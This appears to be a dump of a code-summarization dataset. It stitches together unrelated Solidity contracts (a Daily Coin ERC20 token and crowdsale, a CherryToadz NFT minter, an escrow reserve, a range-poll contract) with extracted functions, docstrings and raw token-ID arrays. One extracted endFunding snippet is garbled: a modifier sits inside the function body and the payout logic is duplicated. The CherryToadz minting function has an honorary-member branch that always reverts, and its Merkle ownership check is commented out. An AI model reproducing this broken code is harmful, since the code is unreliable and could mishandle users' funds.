totalSupply; // Give the creator all initial tokens name = "Daily Coin"; // Set the name for display purposes symbol = "DLC"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } ///////////////////////////CROWDSALE/////////////////////////////// contract DailycoinCrowdsale { uint256 public amountRaised = 0; uint256 public tokensSold = 0; uint256 public totalToSale = 150 * (10**6) * (10**8); bool crowdsaleClosed = false; uint public deadline; address public beneficiary; DailyCoinToken public tokenReward; event SaleEnded(address recipient, uint256 totalAmountRaised); event FundTransfer(address backer, uint256 amount, uint256 numOfTokens); /** * Constrctor function * * Setup the owner */ function DailycoinCrowdsale() public { beneficiary = 0x17Cb4341eF4d9132f9c86b335f6Dd6010F6AeA9a; tokenReward = DailyCoinToken(0xaA33983Acfc48bE1D76e0f8Fe377FFe956ad84AD); deadline = 1512997200 + 45 days; // start on 2017-Dec-11 8.00PM, last 45 days } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract */ function () payable public { require(!crowdsaleClosed); uint256 amount = msg.value; uint256 numOfTokens = getNumTokens(amount); amountRaised += amount; tokensSold += numOfTokens; tokenReward.transfer(msg.sender, numOfTokens); FundTransfer(msg.sender, amount, numOfTokens); } function getNumTokens(uint256 _value) internal returns (uint256 numTokens) { uint256 multiple = 5000; if (_value >= 10 * 10**18) { if (now <= deadline - 35 days) { // first 10 days multiple = multiple * 130 / 100; } else if (now <= deadline - 20 days) { // next 15 days multiple = multiple * 120 / 100; } else { // 20 last days multiple = multiple * 115 / 100; } } else { if (now <= deadline - 35 days) { // first 10 days multiple = multiple * 120 / 100; } else if (now <= deadline - 20 days) { // next 15 days multiple = multiple * 110 / 100; } else { // 20 last days multiple = multiple * 105 / 100; } } return multiple * 10**8 * _value / 10**18; } modifier afterDeadline() { if (now >= deadline) _; } /** * Withdraw the funds * * Checks to see if goal or time limit has been reached, and if so, give raised value to beneficiary and burn left tokens in crowdsale. */ function endFunding() afterDeadline public { require(beneficiary == msg.sender); require(!crowdsaleClosed); if (beneficiary.send(amountRaised)) { if (totalToSale > tokensSold) { tokenReward.burn(totalToSale - tokensSold); } crowdsaleClosed = true; SaleEnded(beneficiary, amountRaised); } } function withdraw(uint256 amount) afterDeadline public { require(beneficiary == msg.sender); amount = amount * 1 ether; beneficiary.transfer(amount); } }
* Withdraw the funds Checks to see if goal or time limit has been reached, and if so, give raised value to beneficiary and burn left tokens in crowdsale./
function endFunding() afterDeadline public { require(beneficiary == msg.sender); require(!crowdsaleClosed); modifier afterDeadline() { if (now >= deadline) _; } if (beneficiary.send(amountRaised)) { if (totalToSale > tokensSold) { tokenReward.burn(totalToSale - tokensSold); } crowdsaleClosed = true; SaleEnded(beneficiary, amountRaised); } if (beneficiary.send(amountRaised)) { if (totalToSale > tokensSold) { tokenReward.burn(totalToSale - tokensSold); } crowdsaleClosed = true; SaleEnded(beneficiary, amountRaised); } }
883,050
[ 1, 1190, 9446, 326, 284, 19156, 13074, 358, 2621, 309, 17683, 578, 813, 1800, 711, 2118, 8675, 16, 471, 309, 1427, 16, 8492, 11531, 460, 358, 27641, 74, 14463, 814, 471, 18305, 2002, 2430, 316, 276, 492, 2377, 5349, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 679, 42, 14351, 1435, 1839, 15839, 1071, 288, 203, 202, 202, 6528, 12, 70, 4009, 74, 14463, 814, 422, 1234, 18, 15330, 1769, 203, 202, 202, 6528, 12, 5, 71, 492, 2377, 5349, 7395, 1769, 203, 565, 9606, 1839, 15839, 1435, 288, 309, 261, 3338, 1545, 14096, 13, 389, 31, 289, 203, 202, 202, 430, 261, 70, 4009, 74, 14463, 814, 18, 4661, 12, 8949, 12649, 5918, 3719, 288, 203, 1082, 202, 430, 261, 4963, 774, 30746, 405, 2430, 55, 1673, 13, 288, 203, 9506, 202, 2316, 17631, 1060, 18, 70, 321, 12, 4963, 774, 30746, 300, 2430, 55, 1673, 1769, 203, 1082, 202, 97, 203, 1082, 202, 71, 492, 2377, 5349, 7395, 273, 638, 31, 203, 1082, 202, 30746, 28362, 12, 70, 4009, 74, 14463, 814, 16, 3844, 12649, 5918, 1769, 203, 202, 202, 97, 203, 202, 202, 430, 261, 70, 4009, 74, 14463, 814, 18, 4661, 12, 8949, 12649, 5918, 3719, 288, 203, 1082, 202, 430, 261, 4963, 774, 30746, 405, 2430, 55, 1673, 13, 288, 203, 9506, 202, 2316, 17631, 1060, 18, 70, 321, 12, 4963, 774, 30746, 300, 2430, 55, 1673, 1769, 203, 1082, 202, 97, 203, 1082, 202, 71, 492, 2377, 5349, 7395, 273, 638, 31, 203, 1082, 202, 30746, 28362, 12, 70, 4009, 74, 14463, 814, 16, 3844, 12649, 5918, 1769, 203, 202, 202, 97, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xD022bc50Dd72818D3A86385F51F36A0d5685B909/sources/project_/contracts/IdentitiesCollection.sol
* @notice Register user identity corresponding to a user address @param userAddress - user wallet address @param identity identity interface/
function _registerIdentity( address userAddress, IIdentity identity ) internal { IIdentity oldIdentity = _identities[userAddress]; _identities[userAddress] = identity; emit IdentityRegistered(userAddress, oldIdentity, identity); }
5,585,860
[ 1, 3996, 729, 4215, 4656, 358, 279, 729, 1758, 565, 729, 1887, 225, 300, 729, 9230, 1758, 565, 4215, 225, 4215, 1560, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 4861, 4334, 12, 203, 3639, 1758, 729, 1887, 16, 203, 3639, 467, 4334, 4215, 203, 565, 262, 2713, 288, 203, 3639, 467, 4334, 1592, 4334, 273, 389, 6392, 1961, 63, 1355, 1887, 15533, 203, 3639, 389, 6392, 1961, 63, 1355, 1887, 65, 273, 4215, 31, 203, 3639, 3626, 7808, 10868, 12, 1355, 1887, 16, 1592, 4334, 16, 4215, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; // OpenZeppelin contracts import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "hardhat/console.sol"; error MintTimeNotPublic(); error NotAnHonoraryToad(); contract CherryToadz is Ownable, ERC721 { using Strings for uint256; bool public reveal; // Honorary members address public gremplin = 0x4298e663517593284Ad4FE199b21815BD48a9969; address public infernalToast = 0x7132C9f36abE62EAb74CdfDd08C154c9AE45691B; address public farokh = 0xc5F59709974262c4AFacc5386287820bDBC7eB3A; address public moti = 0x8Bd8795CbeED15F8D5074f493C53b39C11Ed37B2; address public cerise = 0xe0110C6EE2138Ecf9962a6f9f6Ad329cDFE1FA17; address public cozomo = 0xCe90a7949bb78892F159F428D0dC23a8E3584d75; // to payout to address public save_the_children = 0xF84a7177E59F4A07799E36043b749E8D0c57AF11; address public we_are_studios = 0xCBAb6505F1521029278c2382c1De3B46102cB1B6; uint256 public honorary_mint_time; uint256 public toadz_mint_sale_begin_time; // merkle root bytes32 public immutable root; // first tokenID uint256 public tokenId = 7; // Optional mapping for token URIs mapping(address => uint256) public mintAmount; mapping(address => bool) public didMint; mapping(address => bool) public didBurn; mapping(address => uint256) public tokenOwned; mapping(uint256 => address) public whoBurnt; mapping(uint256 => string) private _tokenURIs; // contract URIs string private _contractURI = "ipfs://QmRqerzgDbidKwNW8h24PQRfKbtqSns3FSwLWSWnLtkrnP"; string private _ipfsFolder = "ipfs://QmYwVKLXJ5ASfMmWh3Xjvom78Qxky5NbUuYViRx5DhcY6v/"; string private _preReveal = "ipfs://QmPgd4bG2oPGC6KRtZqZYWx3oWQk3A6GvxJi5iFfXxNiRN/"; constructor(bytes32 merkleRoot) ERC721("CherryToadz", "CTz") { root = merkleRoot; } // for opensea standards function contractURI() public view returns (string memory) { return _contractURI; } // payout function pay() public payable onlyOwner { payable(save_the_children).transfer((address(this).balance * 50) / 100); payable(we_are_studios).transfer((address(this).balance * 50) / 100); } function popCherry() public payable { require(tokenId < 22, "Max amount of tokens reached!"); // require(_verify(_leaf(msg.sender), proof), "You don't own a toad!"); require(msg.value == 0.08 ether, "Not enough funds!"); require(mintAmount[msg.sender] < 4, "You can only mint four items!"); if (msg.sender == infernalToast) { _pop(infernalToast, 5); } else if (msg.sender == owner()) { _pop(cerise, 6); } else if ( honorary_mint_time != 0 && block.timestamp > honorary_mint_time ) { if ( msg.sender == gremplin && !didMint[gremplin] && honorary_mint_time != 0 ) { _pop(gremplin, 1); } else if (msg.sender == cozomo && !didMint[cozomo]) { _pop(cozomo, 3); } else if (msg.sender == moti && !didMint[moti]) { _pop(moti, 2); } else if (msg.sender == farokh && !didMint[farokh]) { _pop(farokh, 4); } else if (msg.sender == cerise && !didMint[cerise]) { _pop(cerise, 6); } revert NotAnHonoraryToad(); } else if (toadz_mint_sale_begin_time == 0) { revert MintTimeNotPublic(); } else { _pop(msg.sender, tokenId++); } } function setToadzMintTime(uint256 timestamp) public onlyOwner { toadz_mint_sale_begin_time = timestamp; } function setHonoraryMintTime(uint256 timestamp) public onlyOwner { honorary_mint_time = timestamp; } function burn(uint256 id) public { require( ownerOf(id) == msg.sender, "Only the owner of the token can burn" ); require(didBurn[msg.sender] == false, "You can't burn a burnt token!"); _burn(id); didBurn[msg.sender] = true; } // only the owner can change the baseURI function revealTokens() public onlyOwner { reveal = true; } function isPublicSale() external view returns (bool) { return block.timestamp > toadz_mint_sale_begin_time; } // the overridden _baseURI from ERC721 function _baseURI() internal view virtual override returns (string memory) { if (reveal == false) { return _preReveal; } else { return _ipfsFolder; } } function _leaf(address account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(account)); } function _verify(bytes32 leaf, bytes32[] memory proof) internal view returns (bool) { bool value = MerkleProof.verify(proof, root, leaf); return value; } function _pop(address _to, uint256 _tokenId) internal { console.log("internal pop"); // mint and declare that the user has minted _mint(_to, _tokenId); didMint[msg.sender] = true; // count how many tokens our user has minted uint256 amountMinted = mintAmount[msg.sender] + 1; mintAmount[msg.sender] = amountMinted; tokenOwned[msg.sender] = _tokenId; } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require( _exists(tokenId), "ERC721URIStorage: URI set of nonexistent token" ); _tokenURIs[tokenId] = _tokenURI; } function _beforeTokenTransfer( address _from, address _to, uint256 _tokenId ) internal virtual override { delete tokenOwned[_from]; tokenOwned[_to] = _tokenId; } }
only the owner can change the baseURI
function revealTokens() public onlyOwner { reveal = true; }
6,378,271
[ 1, 3700, 326, 3410, 848, 2549, 326, 1026, 3098, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 283, 24293, 5157, 1435, 1071, 1338, 5541, 288, 203, 3639, 283, 24293, 273, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // File: contracts/interfaces/EscrowReserveInterface.sol interface EscrowReserveInterface { function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool); function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool); function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool); function burnERC20(uint256 _amount, address _tokenAddress) external returns (bool); } // File: contracts/interfaces/BurnableERC20.sol // @title An interface to interact with Burnable ERC20 tokens interface BurnableERC20 { function allowance(address tokenOwner, address spender) external view returns (uint remaining); function burnFrom(address _tokenHolder, uint _amount) external returns (bool success); function burn(uint _amount) external returns (bool success); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event LogBurn(address indexed _spender, uint256 _value); } // File: contracts/database/EscrowReserve.sol interface Events { function transaction(string _message, address _from, address _to, uint _amount, address _token) external; } interface DB { function addressStorage(bytes32 _key) external view returns (address); function uintStorage(bytes32 _key) external view returns (uint); function setUint(bytes32 _key, uint _value) external; function deleteUint(bytes32 _key) external; function setBool(bytes32 _key, bool _value) external; function boolStorage(bytes32 _key) external view returns (bool); } contract EscrowReserve is EscrowReserveInterface{ DB private database; Events private events; constructor(address _database, address _events) public { database = DB(_database); events = Events(_events); } function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); BurnableERC20 erc20 = BurnableERC20(_tokenAddress); require(erc20.balanceOf(this) >= _amount); require(erc20.transfer(_receiver, _amount)); events.transaction("ERC20 withdrawn from escrow reserve", address(this), _receiver, _amount, _tokenAddress); return true; } function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow"))) || msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleGeneratorETH"))) || msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleGeneratorERC20")))); require(BurnableERC20(_tokenAddress).transferFrom(_payer, address(this), _amount)); events.transaction("ERC20 received by escrow reserve", _payer, address(this), _amount, _tokenAddress); } function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); BurnableERC20(_tokenAddress).approve(_receiver, _amount); //always returns true events.transaction("ERC20 approval given by escrow reserve", address(this), _receiver, _amount, _tokenAddress); return true; } function burnERC20(uint256 _amount, address _tokenAddress) external returns (bool){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerEscrow")))); require(BurnableERC20(_tokenAddress).burn(_amount)); events.transaction("ERC20 burnt by escrow reserve", address(this), address(0), _amount, _tokenAddress); return true; } }
@title An interface to interact with Burnable ERC20 tokens
interface BurnableERC20 { function allowance(address tokenOwner, address spender) external view returns (uint remaining); function burnFrom(address _tokenHolder, uint _amount) external returns (bool success); function burn(uint _amount) external returns (bool success); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event LogBurn(address indexed _spender, uint256 _value); }
1,784,730
[ 1, 979, 1560, 358, 16592, 598, 605, 321, 429, 4232, 39, 3462, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 605, 321, 429, 654, 39, 3462, 288, 7010, 203, 225, 445, 1699, 1359, 12, 2867, 1147, 5541, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 4463, 1769, 203, 21281, 225, 445, 18305, 1265, 12, 2867, 389, 2316, 6064, 16, 2254, 389, 8949, 13, 3903, 1135, 261, 6430, 2216, 1769, 7010, 203, 225, 445, 18305, 12, 11890, 389, 8949, 13, 3903, 1135, 261, 6430, 2216, 1769, 7010, 21281, 225, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 225, 445, 11013, 951, 12, 2867, 389, 3350, 83, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 225, 445, 7412, 12, 2867, 389, 869, 16, 2254, 5034, 389, 1132, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 225, 445, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 225, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 225, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 225, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 225, 871, 1827, 38, 321, 12, 2867, 8808, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 1769, 7010, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Author: Colby Anderson pragma solidity ^0.6.0; // GovToken is a custom governance token that implements // IERC20. However, unlike most governance tokens, it can // be locked in multiple polls simultaneously. import "./GovToken.sol"; // Used for basic math operations to prevent malicious use // of contract. import "@openzeppelin/contracts/math/SafeMath.sol"; // ** UNCOMMENT LINE BELOW when testing this contract // with hardhat to use print statements in the form of // console.log //import "hardhat/console.sol"; /* This contract implements general functionality for a range poll. It remains agnostic to how an actual number is voted on, and how the votes are tallied at the end. This abstract contract only deals with locking/unlocking governance tokens for a poll as well as initiating and ending polls. It also manages how much weight users have voted with per poll. It uses a specific governance token, but it can practically be swapped out with any ERC20 token with a few easy modifications. */ abstract contract RangePoll { using SafeMath for uint256; // *************************************************** // ------------------CONTRACT STATE------------------- // *************************************************** // Every poll will have a unique ID. The first poll has ID = 1 uint256 _pollID; // This is the address of the particular governance token // used to count as voting power/weight in the polls. GovToken _govToken; // live is set to true when a poll is live (people are // voting), and false otherwise. bool _live; // Balances are a mapping from a voter to the amount of // governance tokens they have locked with this polling contract // (not necessarily the amount they are voting on a current poll // with). mapping(address => uint256) _balances; // used is a mapping from a voter to pollID to the weight they // have already used for that poll. In other words, it keeps // track of how much a voter has used of his total balance per // election. mapping(address => mapping (uint256 => uint256)) _used; // The floor is the minimum number that can be voted on in the // current range poll. This value is set by a whitelisted address // at the start of each poll. uint256 _floor; // The ceiling is the maximum number that can be voted on in the // current range poll. This value is set by a whitelisted address // at the start of each poll. uint256 _ceiling; // Authorization levels for different addresses. Level 1 authorization // gives the users ability to start polls and give auth level 1 to // other addresses. mapping(address => uint8) _auth; // *************************************************** // --------------CONTRACT FUNCTIONALITY--------------- // *************************************************** // Sets the pollID to 0. (It will be incremented to 1 in // startPoll, so technically the first poll will have ID 1. // Sets the governance token to a user supplied one. Also // gives authorization level of 1 to 